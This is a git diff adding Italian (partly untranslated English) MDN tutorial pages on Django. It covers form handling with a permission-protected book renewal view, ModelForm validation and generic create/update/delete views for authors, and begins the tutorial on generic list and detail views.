+<p>Il passo finale nella manipolazione dei formè la direzione verso un'altra pagina, generalmente una "success" page. In questo caso utilizziamo <code>HttpResponseRedirect</code> e <code>reverse()</code> per ridirezionare alla vista nominata "<code>all-borrowed'</code> (creata come "challenge" in <a href="/en-US/docs/Learn/Server-side/Django/authentication_and_sessions#Challenge_yourself">Django Tutorial Part 8: User authentication and permissions</a>). Se non l'hai creata, ridireziona alla home page con URL '/').</p>
+
+<p>Questo è tutto ciò che ci serviva per il per la manipolazione dei form, ma dobbiamo ancora restringere gli accessi dei bibliotecari. Probabilmente dovremmo creare un nuovo permesso sull'oggetto <code>BookInstance</code> ("<code>can_renew</code>"), ma, per mantenere le cose più semplici, useremo solo il decoratore di funzione <code>@permission_required</code> con il nostro permesso esistente <code>can_mark_returned.</code></p>
+
+<p>La vista finale è quindi come di seguito. Copiare questo in fondo a <strong>locallibrary/catalog/views.py</strong>.</p>
+
+<pre><strong>import datetime
+
+from django.contrib.auth.decorators import permission_required</strong>
+from django.shortcuts import get_object_or_404
+from django.http import HttpResponseRedirect
+from django.urls import reverse
+
+from catalog.forms import RenewBookForm
+
+<strong>@permission_required('catalog.can_mark_returned')</strong>
+def renew_book_librarian(request, pk):
+    """View function for renewing a specific BookInstance by librarian."""
+    book_instance = get_object_or_404(BookInstance, pk=pk)
+
+    # If this is a POST request then process the Form data
+    if request.method == 'POST':
+
+        # Create a form instance and populate it with data from the request (binding):
+        form = RenewBookForm(request.POST)
+
+        # Check if the form is valid:
+        if form.is_valid():
+            # process the data in form.cleaned_data as required (here we just write it to the model due_back field)
+            book_instance.due_back = form.cleaned_data['renewal_date']
+            book_instance.save()
+
+            # redirect to a new URL:
+            return HttpResponseRedirect(reverse('all-borrowed') )
+
+    # If this is a GET (or any other method) create the default form.
+    else:
+        proposed_renewal_date = datetime.date.today() + datetime.timedelta(weeks=3)
+        form = RenewBookForm(initial={'renewal_date': proposed_renewal_date})
+
+    context = {
+        'form': form,
+        'book_instance': book_instance,
+    }
+
+    return render(request, 'catalog/book_renew_librarian.html', context)
+</pre>
+
+<h3 id="Il_template">Il template</h3>
+
+<p>Creiamo il template referenziato nella view (<strong>/catalog/templates/catalog/book_renew_librarian.html</strong>) e copiamo il codice sotto:</p>
+
+<pre class="brush: html">{% extends "base_generic.html" %}
+
+{% block content %}
+  &lt;h1&gt;Renew: \{{ book_instance.book.title }}&lt;/h1&gt;
+  &lt;p&gt;Borrower: \{{ book_instance.borrower }}&lt;/p&gt;
+  &lt;p{% if book_instance.is_overdue %} class="text-danger"{% endif %}&gt;Due date: \{{ book_instance.due_back }}&lt;/p&gt;
+
+<strong>  &lt;form action="" method="post"&gt;
+    {% csrf_token %}
+    &lt;table&gt;
+    \{{ form.as_table }}
+    &lt;/table&gt;
+    &lt;input type="submit" value="Submit"&gt;
+  &lt;/form&gt;</strong>
+{% endblock %}</pre>
+
+<p>La maggior parte di questo sarà completamente familiare dai tutorial precedenti. Estendiamo il modello di base e quindi ridefiniamo il blocco del contenuto. Siamo in grado di fare riferimento a \{{book_instance}} (e alle sue variabili) perché è stato passato all'oggetto contesto nella funzione render (), e le possiamo usare per elencare il titolo del libro, il mutuatario e la data di scadenza originale.</p>
+
+<p>Il codice del form è relativamente semplice. Per prima cosa dichiariamo i tag del form, specificando dove deve essere inviato il form (action) e il metodo per inviare i dati (in questo caso un "POST HTTP") - se si richiama la panoramica dei moduli HTML nella parte superiore della pagina, un'azione vuota come mostrato, significa che i dati del modulo saranno postati all'URL attuale della pagina (che è ciò che vogliamo!). All'interno dei tag, definiamo l'input di invio, che un utente può premere per inviare i dati. Il {% csrf_token%} aggiunto appena dentro i tag del modulo fa parte della protezione dalle contraffazioni di Django.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Aggiungi il {% csrf_token%} a ogni modello Django che crei che utilizza POST per inviare i dati. Ciò ridurrà la possibilità che le form vengano corrotte da utenti malintenzionati</p>
+</div>
+
+<p>Tutto ciò che rimane è la variabile di template \{{form}}, che abbiamo passato al template nel dizionario di contesto. Forse non sorprendentemente, se usato come mostrato, fornisce il rendering predefinito di tutti i campi del modulo, incluse le loro etichette, i widget e il testo della guida: il rendering è come mostrato di seguito:</p>
+
+<pre class="brush: html">&lt;tr&gt;
+  &lt;th&gt;&lt;label for="id_renewal_date"&gt;Renewal date:&lt;/label&gt;&lt;/th&gt;
+  &lt;td&gt;
+    &lt;input id="id_renewal_date" name="renewal_date" type="text" value="2016-11-08" required&gt;
+    &lt;br&gt;
+    &lt;span class="helptext"&gt;Enter date between now and 4 weeks (default 3 weeks).&lt;/span&gt;
+  &lt;/td&gt;
+&lt;/tr&gt;
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> Forse non è ovvio perché abbiamo solo un campo, ma, per impostazione predefinita, ogni campo è definito nella propria riga della tabella. Questo stesso rendering viene fornito se si fa riferimento alla variabile del template \{{form.as_table}}.</p>
+</div>
+
+<p>Se dovessi inserire una data non valida, avresti anche un elenco degli errori visualizzati nella pagina (mostrati in grassetto sotto).</p>
+
+<pre class="brush: html">&lt;tr&gt;
+  &lt;th&gt;&lt;label for="id_renewal_date"&gt;Renewal date:&lt;/label&gt;&lt;/th&gt;
+    &lt;td&gt;
+<strong>      &lt;ul class="errorlist"&gt;
+        &lt;li&gt;Invalid date - renewal in past&lt;/li&gt;
+      &lt;/ul&gt;</strong>
+      &lt;input id="id_renewal_date" name="renewal_date" type="text" value="2015-11-08" required&gt;
+      &lt;br&gt;
+      &lt;span class="helptext"&gt;Enter date between now and 4 weeks (default 3 weeks).&lt;/span&gt;
+    &lt;/td&gt;
+&lt;/tr&gt;</pre>
+
+<h4 id="Altri_modi_di_usare_le_variabili_template">Altri modi di usare le variabili template</h4>
+
+<p>Utilizzando<code>\{{ form.as_table }}</code> come mostrato sopra, ogni campo viene renderizzato come riga di una tabella. Puoi anche renderizzare ogni campo come elemento di una lista (usando <code>\{{ form.as_ul }}</code> ) o come un paragrafo (<code>\{{ form.as_p }}</code>).</p>
+
+<p>È anche possibile avere il controllo completo sul rendering di ogni parte del form, indicizzando le sue proprietà mediante la notazione dei punti. Ad esempio, possiamo accedere a un numero di elementi separati per il nostro campo renewal_date:</p>
+
+<ul>
+ <li><code>\{{ form.renewal_date }}:</code> L'intero campo.</li>
+ <li><code>\{{ form.renewal_date.errors }}</code>: La lista degli errori.</li>
+ <li><code>\{{ form.renewal_date.id_for_label }}</code>: L'id della label.</li>
+ <li><code>\{{ form.renewal_date.help_text }}</code>: il testo di aiuto del campo.</li>
+</ul>
+
+<p>Per ulteriori esempi su come eseguire il rendering manuale dei form nei modelli e ciclare dinamicamente sui campi del modello, vedere <a href="https://docs.djangoproject.com/en/2.1/topics/forms/#rendering-fields-manually">Working with forms &gt; Rendering fields manually</a> (Django docs).</p>
+
+<h3 id="Testare_la_pagina">Testare la pagina</h3>
+
+<p>Se hai accettato la sfida proposta in <a href="/en-US/docs/Learn/Server-side/Django/authentication_and_sessions#Challenge_yourself">Django Tutorial Part 8: User authentication and permissions</a> dovresti avere una lista di libri in prestito nella libreria, che saranno visibili solamente allo staff. Possiamo aggiungere un link alla nostra pagina di rinnovo per ogni elemento utilizzando il codice template sotto.</p>
+
+<pre class="brush: html">{% if perms.catalog.can_mark_returned %}- &lt;a href="{% url 'renew-book-librarian' bookinst.id %}"&gt;Renew&lt;/a&gt;  {% endif %}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Remember that your test login will need to have the permission "<code>catalog.can_mark_returned</code>" in order to access the renew book page (perhaps use your superuser account).</p>
+</div>
+
+<p>In alternativa, puoi costruire manualmente un URL di prova come questo: http://127.0.0.1:8000/catalog/book/&lt;bookinstance_id&gt;/renew/ (è possibile ottenere un id valido per le librerie navigando a una pagina dei dettagli del libro nella libreria, e copiare il campo id).</p>
+
+<h3 id="Come_appare">Come appare?</h3>
+
+<p>Se hai successo, il form di default sarà così:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14209/forms_example_renew_default.png" style="border-style: solid; border-width: 1px; display: block; height: 292px; margin: 0px auto; width: 680px;"></p>
+
+<p>The form with an invalid value entered will look like this:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14211/forms_example_renew_invalid.png" style="border-style: solid; border-width: 1px; display: block; height: 290px; margin: 0px auto; width: 658px;"></p>
+
+<p>The list of all books with renew links will look like this:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14207/forms_example_renew_allbooks.png" style="border-style: solid; border-width: 1px; display: block; height: 256px; margin: 0px auto; width: 613px;"></p>
+
+<h2 id="ModelForms">ModelForms</h2>
+
+<p>La creazione di una classe Form utilizzando l'approccio descritto sopra è molto flessibile, consente infatti di creare qualsiasi tipo di pagina di form che ti piace e associarla a qualsiasi modello o modello. Tuttavia, se hai solo bisogno di un modulo per mappare i campi di un singolo modello, il tuo modello definirà già la maggior parte delle informazioni necessarie nel tuo modulo: campi, etichette, testo della guida, ecc. Invece di ricreare le definizioni del modello nel tuo forma, è più facile usare la classe helper ModelForm per creare il modulo dal tuo modello. Questo ModelForm può quindi essere utilizzato all'interno delle visualizzazioni esattamente nello stesso modo di un modulo ordinario.</p>
+
+<p>Un modello di base <code>ModelForm</code> contenente gli stessi campi del nostro <code>RenewBookForm</code> è mostrato sotto. Tutto ciò che devi fare è aggiungere una classe <code>class Meta</code> con il modello associato (<code>BookInstance</code>) e un elenco dei campi del modello da includere nel modulo (è possibile includere tutti i campi utilizzando <code>fields = '__all__',</code> oppure è possibile utilizzare <code>exclude </code>(anziché i campi) per specificare i campi da non includere nel modello).</p>
+
+<pre class="brush: python">from django.forms import ModelForm
+
+from catalog.models import BookInstance
+
+class RenewBookModelForm(ModelForm):
+<strong>    class Meta:
+        model = BookInstance
+        fields = ['due_back']</strong>
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: Questo potrebbe non sembrare tutto molto più semplice del semplice utilizzo di un modulo (e non è in questo caso, perché abbiamo solo un campo). Tuttavia, se hai molti campi, puoi ridurre la quantità di codice in modo abbastanza significativo!</p>
+</div>
+
+<p>Il resto delle informazioni proviene dalle definizioni del campo del modello (ad esempio etichette, widget, testo della guida, messaggi di errore). Se questi non sono corretti, possiamo sostituirli nella nostra classe Meta, specificando un dizionario contenente il campo da modificare e il suo nuovo valore. Ad esempio, in questo modulo potremmo volere un'etichetta per il nostro campo di "Data di rinnovo" (piuttosto che l'impostazione predefinita in base al nome del campo: "Due Back"), e vogliamo anche che il nostro testo di aiuto sia specifico per questo caso d'uso. La Meta sotto mostra come sovrascrivere questi campi, e puoi impostare allo stesso modo widget e messaggi_errore se i valori predefiniti non sono sufficienti.</p>
+
+<pre class="brush: python">class Meta:
+    model = BookInstance
+    fields = ['due_back']
+<strong>    labels = {'due_back': _('New renewal date')}
+    help_texts = {'due_back</strong><strong>': _('Enter a date between now and 4 weeks (default 3).')} </strong>
+</pre>
+
+<p>Per aggiungere la convalida è possibile utilizzare lo stesso approccio di un modulo normale: si definisce una funzione denominata <code>clean_field_name () </code>e si generano eccezioni <code>ValidationError </code>per valori non validi. L'unica differenza rispetto alla nostra forma originale è che il campo del modello è denominato <code>due_back </code>e non "<code>renewal_date</code>". Questa modifica è necessaria poiché il campo corrispondente in <code>BookInstance </code>è chiamato <code>due_back</code>.</p>
+
+<pre class="brush: python">from django.forms import ModelForm
+
+from catalog.models import BookInstance
+
+class RenewBookModelForm(ModelForm):
+<strong>    def clean_due_back(self):
+       data = self.cleaned_data['due_back</strong><strong>']
+
+       # Controlla se la data non è passata.
+       if data &lt; datetime.date.today():
+           raise ValidationError(_('Invalid date - renewal in past'))
+
+       <strong># Controlla se una data è nell'intervallo consentito (+4 settimane da oggi).</strong>
+       if data &gt; datetime.date.today() + datetime.timedelta(weeks=4):
+           raise ValidationError(_('Invalid date - renewal more than 4 weeks ahead'))
+
+       # Ricorda di restituire sempre la data pulita.
+       return data
+</strong>
+    class Meta:
+        model = BookInstance
+        fields = ['due_back']
+        labels = {'due_back': _('Renewal date')}
+        help_texts = {'due_back': _('Enter a date between now and 4 weeks (default 3).')}
+</pre>
+
+<p>La classe <code>RenewBookModelForm</code> <code>adesso funziona come la nostra originale RenewBookForm</code>. Puoi importarla e usarla ovunque attualmente usi  <code>RenewBookForm</code> a condizione che si aggiorni anche il nome della variabile corrispondente da  <code>renewal_date</code> a <code>due_back</code> come nella dichiarazione della seconda Form: <code>RenewBookModelForm(initial={'due_back': proposed_renewal_date}</code>.</p>
+
+<h2 id="Generic_editing_views">Generic editing views</h2>
+
+<p>The form handling algorithm we used in our function view example above represents an extremely common pattern in form editing views. Django abstracts much of this "boilerplate" for you, by creating <a href="https://docs.djangoproject.com/en/2.1/ref/class-based-views/generic-editing/">generic editing views</a> for creating, editing, and deleting views based on models. Not only do these handle the "view" behavior, but they automatically create the form class (a <code>ModelForm</code>) for you from the model.</p>
+
+<div class="note">
+<p><strong>Note: </strong>In addition to the editing views described here, there is also a <a href="https://docs.djangoproject.com/en/2.1/ref/class-based-views/generic-editing/#formview">FormView</a> class, which lies somewhere between our function view and the other generic views in terms of "flexibility" vs "coding effort". Using <code>FormView</code>, you still need to create your <code>Form</code>, but you don't have to implement all of the standard form-handling patterns. Instead, you just have to provide an implementation of the function that will be called once the submitted is known to be valid.</p>
+</div>
+
+<p>In this section we're going to use generic editing views to create pages to add functionality to create, edit, and delete <code>Author</code> records from our library — effectively providing a basic reimplementation of parts of the Admin site (this could be useful if you need to offer admin functionality in a more flexible way that can be provided by the admin site).</p>
+
+<h3 id="Views">Views</h3>
+
+<p>Open the views file (<strong>locallibrary/catalog/views.py</strong>) and append the following code block to the bottom of it:</p>
+
+<pre class="brush: python">from django.views.generic.edit import CreateView, UpdateView, DeleteView
+from django.urls import reverse_lazy
+
+from catalog.models import Author
+
+class AuthorCreate(CreateView):
+    model = Author
+    fields = '__all__'
+    initial = {'date_of_death': '05/01/2018'}
+
+class AuthorUpdate(UpdateView):
+    model = Author
+    fields = ['first_name', 'last_name', 'date_of_birth', 'date_of_death']
+
+class AuthorDelete(DeleteView):
+    model = Author
+    success_url = reverse_lazy('authors')</pre>
+
+<p>As you can see, to create, update, or delete the views you need to derive from <code>CreateView</code>, <code>UpdateView</code>, and <code>DeleteView</code> (respectively) and then define the associated model.</p>
+
+<p>For the "create" and "update" cases you also need to specify the fields to display in the form (using the same syntax as for <code>ModelForm</code>). In this case, we show both the syntax to display "all" fields and how you can list them individually. You can also specify initial values for each of the fields using a dictionary of <em>field_name</em>/<em>value</em> pairs (here we arbitrarily set the date of death for demonstration purposes — you might want to remove that!). By default, these views will redirect on success to a page displaying the newly created/edited model item, which in our case will be the author detail view we created in a previous tutorial. You can specify an alternative redirect location by explicitly declaring parameter <code>success_url</code> (as done for the <code>AuthorDelete</code> class).</p>
+
+<p>The <code>AuthorDelete</code> class doesn't need to display any of the fields, so these don't need to be specified. You do however need to specify the <code>success_url</code>, because there is no obvious default value for Django to use. In this case, we use the <code><a href="https://docs.djangoproject.com/en/2.1/ref/urlresolvers/#reverse-lazy">reverse_lazy()</a></code> function to redirect to our author list after an author has been deleted — <code>reverse_lazy()</code> is a lazily executed version of <code>reverse()</code>, used here because we're providing a URL to a class-based view attribute.</p>
+
+<h3 id="Templates">Templates</h3>
+
+<p>The "create" and "update" views use the same template by default, which will be named after your model: <em>model_name</em><strong>_form.html</strong> (you can change the suffix to something other than <strong>_form</strong> using the <code>template_name_suffix</code> field in your view, e.g. <code>template_name_suffix = '_other_suffix'</code>)</p>
+
+<p>Create the template file <strong>locallibrary/catalog/templates/catalog/author_form.html</strong> and copy in the text below.</p>
+
+<pre class="brush: html">{% extends "base_generic.html" %}
+
+{% block content %}
+  &lt;form action="" method="post"&gt;
+    {% csrf_token %}
+    &lt;table&gt;
+    \{{ form.as_table }}
+    &lt;/table&gt;
+    &lt;input type="submit" value="Submit"&gt;
+  &lt;/form&gt;
+{% endblock %}</pre>
+
+<p>This is similar to our previous forms and renders the fields using a table. Note also how again we declare the <code>{% csrf_token %}</code> to ensure that our forms are resistant to CSRF attacks.</p>
+
+<p>The "delete" view expects to find a template named with the format <em>model_name</em><strong>_confirm_delete.html</strong> (again, you can change the suffix using <code>template_name_suffix</code> in your view). Create the template file <strong>locallibrary/catalog/templates/catalog/author_confirm_delete</strong><strong>.html</strong> and copy in the text below.</p>
+
+<pre class="brush: html">{% extends "base_generic.html" %}
+
+{% block content %}
+
+&lt;h1&gt;Delete Author&lt;/h1&gt;
+
+&lt;p&gt;Are you sure you want to delete the author: \{{ author }}?&lt;/p&gt;
+
+&lt;form action="" method="POST"&gt;
+  {% csrf_token %}
+  &lt;input type="submit" value="Yes, delete."&gt;
+&lt;/form&gt;
+
+{% endblock %}
+</pre>
+
+<h3 id="URL_configurations">URL configurations</h3>
+
+<p>Open your URL configuration file (<strong>locallibrary/catalog/urls.py</strong>) and add the following configuration to the bottom of the file:</p>
+
+<pre class="brush: python">urlpatterns += [
+    path('author/create/', views.AuthorCreate.as_view(), name='author_create'),
+    path('author/&lt;int:pk&gt;/update/', views.AuthorUpdate.as_view(), name='author_update'),
+    path('author/&lt;int:pk&gt;/delete/', views.AuthorDelete.as_view(), name='author_delete'),
+]</pre>
+
+<p>There is nothing particularly new here! You can see that the views are classes, and must hence be called via <code>.as_view()</code>, and you should be able to recognize the URL patterns in each case. We must use <code>pk</code> as the name for our captured primary key value, as this is the parameter name expected by the view classes.</p>
+
+<p>The author create, update, and delete pages are now ready to test (we won't bother hooking them into the site sidebar in this case, although you can do so if you wish).</p>
+
+<div class="note">
+<p><strong>Note</strong>: Observant users will have noticed that we didn't do anything to prevent unauthorized users from accessing the pages! We leave that as an exercise for you (hint: you could use the <code>PermissionRequiredMixin</code> and either create a new permission or reuse our <code>can_mark_returned</code> permission).</p>
+</div>
+
+<h3 id="Testing_the_page">Testing the page</h3>
+
+<p>First, log in to the site with an account that has whatever permissions you decided are needed to access the author editing pages.</p>
+
+<p>Then navigate to the author create page: <a href="http://127.0.0.1:8000/catalog/author/create/">http://127.0.0.1:8000/catalog/author/create/</a>, which should look like the screenshot below.</p>
+
+<p><img alt="Form Example: Create Author" src="https://mdn.mozillademos.org/files/14223/forms_example_create_author.png" style="border-style: solid; border-width: 1px; display: block; height: 184px; margin: 0px auto; width: 645px;"></p>
+
+<p>Enter values for the fields and then press <strong>Submit</strong> to save the author record. You should now be taken to a detail view for your new author, with a URL of something like <em>http://127.0.0.1:8000/catalog/author/10</em>.</p>
+
+<p>You can test editing records by appending <em>/update/</em> to the end of the detail view URL (e.g. <em>http://127.0.0.1:8000/catalog/author/10/update/</em>) — we don't show a screenshot, because it looks just like the "create" page!</p>
+
+<p>Finally, we can delete the page by appending delete to the end of the author detail-view URL (e.g. <em>http://127.0.0.1:8000/catalog/author/10/delete/</em>). Django should display the delete page shown below. Press <strong>Yes, delete.</strong> to remove the record and be taken to the list of all authors.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14221/forms_example_delete_author.png" style="border-style: solid; border-width: 1px; display: block; height: 194px; margin: 0px auto; width: 561px;"></p>
+
+
+
+<h2 id="Challenge_yourself">Challenge yourself</h2>
+
+<p>Create some forms to create, edit, and delete <code>Book</code> records. You can use exactly the same structure as for <code>Authors</code>. If your <strong>book_form.html</strong> template is just a copy-renamed version of the <strong>author_form.html</strong> template, then the new "create book" page will look like the screenshot below:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14225/forms_example_create_book.png" style="border-style: solid; border-width: 1px; display: block; height: 521px; margin: 0px auto; width: 595px;"></p>
+
+<ul>
+</ul>
+
+<h2 id="Summary">Summary</h2>
+
+<p>Creating and handling forms can be a complicated process! Django makes it much easier by providing programmatic mechanisms to declare, render, and validate forms. Furthermore, Django provides generic form editing views that can do <em>almost all</em> the work to define pages that can create, edit, and delete records associated with a single model instance.</p>
+
+<p>There is a lot more that can be done with forms (check out our See also list below), but you should now understand how to add basic forms and form-handling code to your own websites.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://docs.djangoproject.com/en/2.1/topics/forms/">Working with forms</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/intro/tutorial04/#write-a-simple-form">Writing your first Django app, part 4 &gt; Writing a simple form</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/forms/api/">The Forms API</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/forms/fields/">Form fields</a> (Django docs) </li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/forms/validation/">Form and field validation</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/topics/class-based-views/generic-editing/">Form handling with class-based views</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/topics/forms/modelforms/">Creating forms from models</a> (Django docs)</li>
+ <li><a href="https://docs.djangoproject.com/en/2.1/ref/class-based-views/generic-editing/">Generic editing views</a> (Django docs)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Django/authentication_and_sessions", "Learn/Server-side/Django/Testing", "Learn/Server-side/Django")}}</p>
+
+
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li>
+</ul>
diff --git a/files/it/learn/server-side/django/generic_views/index.html b/files/it/learn/server-side/django/generic_views/index.html
new file mode 100644
index 0000000000..a59f2046f1
--- /dev/null
+++ b/files/it/learn/server-side/django/generic_views/index.html
@@ -0,0 +1,626 @@
+---
+title: 'Django Tutorial Part 6: Generic list and detail views'
+slug: Learn/Server-side/Django/Generic_views
+tags:
+  - Template
+  - Tutorial
+  - View
+  - django
+  - django view
+  - imparare
+  - inizio
+  - template django
+  - views
+  - viste django
+translation_of: Learn/Server-side/Django/Generic_views
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/Home_page", "Learn/Server-side/Django/Sessions", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">Questo tutorial estenderà il nostro sito <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>, aggiungendo pagine di elenco e pagine di dettaglio per libri e autori. Qui apprenderemo le viste generiche basate su classi e mostreremo come possono ridurre la quantità di codice che devi scrivere per casi di uso comune. Passeremo inoltre alla gestione degli URL in maggiore dettaglio, mostrando come eseguire la corrispondenza di base dei pattern.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisiti:</th>
+   <td>Completare tutti i tutorial precedenti, incluso <a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Obiettivi:</th>
+   <td>Comprendere dove e come utilizzare viste generiche basate su classi e come estrarre modelli dagli URL e passare le informazioni alle viste.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Panoramica">Panoramica</h2>
+
+<p>In questo tutorial completeremo la prima versione del sito Web LocalLibrary aggiungendo pagine di elenco e dettagli per libri e autori (o per essere più precisi, ti mostreremo come implementare le pagine del libro e ti guideremo nella creazione dellle pagine dell'autore in modo che possa farle tu stesso!)</p>
+
+<p>Il processo è simile alla creazione della pagina indice, che abbiamo mostrato nel precedente tutorial. Dovremo comunque creare mappe URL, viste e template. La differenza principale è che per le pagine di dettaglio avremo la sfida aggiuntiva di estrarre le informazioni dai pattern nell'URL e passarle alla view. Per queste pagine, mostreremo un tipo di view completamente diverso: view di elenco e view di dettaglio generiche e basate su classi. Queste possono ridurre in modo significativo la quantità di codice necessario per la view, semplificandone la scrittura e la manutenzione.</p>
+
+<p>La parte finale del tutorial mostrerà come impaginare i dati quando si utilizzano view generiche di elenco basate su classi.</p>
+
+<h2 id="Pagina_lista_di_libri">Pagina lista di libri</h2>
+
+<p>Nella pagina dell'elenco dei libri verrà visualizzato un elenco di tutti i record di libri disponibili nella biblioteca, a cui è possibile accedere utilizzando l'URL: <code>catalog/books/</code>. La pagina mostrerà un titolo e un autore per ogni record, con il titolo che è un collegamento ipertestuale alla relativa pagina dei dettagli del libro. La pagina avrà la stessa struttura e la stessa navigazione di tutte le altre pagine del sito e, pertanto, possiamo estendere il template di base (<strong>base_generic.html</strong>).</p>
+
+<h3 id="URL_mapping">URL mapping</h3>
+
+<p>Apri <strong>/catalog/urls.py</strong> e copia la riga in grassetto sotto. Come per la pagina index, la funzione <code>path()</code> definisce un pattern da matchare con l' URL (<strong>'books/'</strong>), una funzione di view che verrà richiamata se l' URL matcha (<code>views.BookListView.as_view()</code>), e un nome per questa particolare mappatura.</p>
+
+<pre class="brush: python">urlpatterns = [
+    path('', views.index, name='index'),
+<strong>    </strong>path<strong>('books/', views.BookListView.as_view(), name='books'),</strong>
+]</pre>
+
+<p>Come discusso nel precedente tutorial, l'URL deve avere già matchato <code>/catalog</code>, quindi la view sarà richiamata per l'URL: <code>/catalog/books/</code>.</p>
+
+<p>La funzione view ha un formato diverso rispetto a prima - questo perché questa vista verrà effettivamente implementata come una classe. Noi erediteremo da una funzione di visualizzazione generica esistente che già fa la maggior parte di ciò che vogliamo, invece di scriverla noi stessi daccapo.</p>
+
+<p>Per le view class-based di Django, si accede a una funzione view appropriata chiamando il metodo di classe <code>as_view()</code>. Questo fa tutto il lavoro necessario per creare un'istanza della classe e assicurarsi che i giusti metodi handler vengano chiamati per le richieste HTTP in arrivo.</p>
+
+<h3 id="Viste_(class-based)">Viste (class-based)</h3>
+
+<p>Potremmo facilmente scrivere la view dell'elenco dei libri come una funzione regolare (proprio come la nostra precedente vista indice), che interrogherebbe il database cercando tutti i libri e quindi chiamerebbe <code>render()</code> per passare l'elenco a un template specificato. Invece, utilizzeremo una view elenco generica basata su classi (<code>ListView</code>) — una classe che eredita da una vista esistente. Poiché la vista generica implementa già la maggior parte delle funzionalità di cui abbiamo bisogno e segue la best practice di Django, saremo in grado di creare una vista elenco più robusta con meno codice, meno ripetizioni e, in definitiva, meno manutenzione.</p>
+
+<p>Apri <strong>catalog/views.py</strong>, e copia il seguente codice nel file:</p>
+
+<pre class="brush: python">from django.views import generic
+
+class BookListView(generic.ListView):
+    model = Book</pre>
+
+<p>Ecco fatto! la list view generica effettuerà una query al database per prendere tutti i record per lo specifico model (<code>Book</code>) poi effettuerà un render tramite il template in <strong>/locallibrary/catalog/templates/catalog/book_list.html</strong> che creeremo sotto. Dentro al template puoi accedere alla lista dei libri con la variabile <code>object_list</code> OR <code>book_list</code> (cioè, genericamente "<code><em>the_model_name</em>_list</code>").</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Questo percorso scomodo per la posizione del template non è un errore di stampa: le view generiche cercano i template in <code>/<em>application_name</em>/<em>the_model_name</em>_list.html</code> (<code>catalog/book_list.html</code> in questo caso) dentro l'applicazione <code>/<em>application_name</em>/templates/</code> nella directory (<code>/catalog/templates/)</code>.</p>
+</div>
+
+<p>È possibile aggiungere attributi per modificare il comportamento predefinito sopra. Ad esempio, è possibile specificare un altro file template se è necessario disporre di più viste che utilizzano questo stesso model oppure si potrebbe voler utilizzare un dievrso nome di variabile di template se <code>book_list</code> non è intuitivo per il proprio specifico caso d'uso del template. Probabilmente la variante più utile è quella di modificare/filtrare il sottoinsieme di risultati che vengono restituiti, quindi, invece di elencare tutti i libri, potresti elencare i primi 5 libri letti da altri utenti.</p>
+
+<pre class="brush: python">class BookListView(generic.ListView):
+    model = Book
+    context_object_name = 'my_book_list'   # your own name for the list as a template variable
+    queryset = Book.objects.filter(title__icontains='war')[:5] # Get 5 books containing the title war
+    template_name = 'books/my_arbitrary_template_name_list.html'  # Specify your own template name/location</pre>
+
+<h4 id="Override_dei_metodi_nelle_viste_class-based">Override dei metodi nelle viste class-based</h4>
+
+<p>Anche se non è necessario farlo qui, puoi anche sovrascrivere alcuni dei metodi di classe.</p>
+
+<p>Possiamo, per esempio, sovrascrivere <code>get_queryset()</code> per modificare la lista di record restituiti. Questa metodologia è molto più flessibile rispetto all'attributo <code>queryset</code> come abbiamo fatto nel precedente frammento di codice (sebbene in questo caso non ci sia alcun beneficio reale):</p>
+
